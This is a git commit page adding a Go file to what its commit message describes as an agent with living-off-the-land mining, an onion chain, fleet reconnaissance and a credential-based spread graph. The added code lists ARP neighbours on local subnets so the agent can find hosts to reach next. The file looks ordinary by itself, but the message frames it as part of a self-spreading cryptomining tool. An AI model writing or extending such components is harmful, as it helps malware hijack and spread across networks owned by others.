Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
50
agent/deploy/network_hints_neighbors_unix.go
Normal file
50
agent/deploy/network_hints_neighbors_unix.go
Normal file
@@ -0,0 +1,50 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"net"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func neighborHosts() []string {
|
||||
out, err := exec.Command("ip", "-4", "neighbor", "show").Output()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
local := getLocalIPs()
|
||||
subnets := make(map[string]bool)
|
||||
for _, ip := range local {
|
||||
subnets[getSubnet(ip)] = true
|
||||
}
|
||||
|
||||
var hosts []string
|
||||
seen := make(map[string]bool)
|
||||
scanner := bufio.NewScanner(strings.NewReader(string(out)))
|
||||
for scanner.Scan() {
|
||||
fields := strings.Fields(scanner.Text())
|
||||
if len(fields) < 1 {
|
||||
continue
|
||||
}
|
||||
ip := net.ParseIP(fields[0])
|
||||
if ip == nil || ip.To4() == nil {
|
||||
continue
|
||||
}
|
||||
if len(fields) >= 5 && strings.EqualFold(fields[len(fields)-1], "FAILED") {
|
||||
continue
|
||||
}
|
||||
ipStr := ip.To4().String()
|
||||
if !subnets[getSubnet(ipStr)] || seen[ipStr] {
|
||||
continue
|
||||
}
|
||||
seen[ipStr] = true
|
||||
hosts = append(hosts, ipStr)
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
|
||||
func discoverADDomainPlatform() string {
|
||||
return ""
|
||||
}
|
||||
Reference in New Issue
Block a user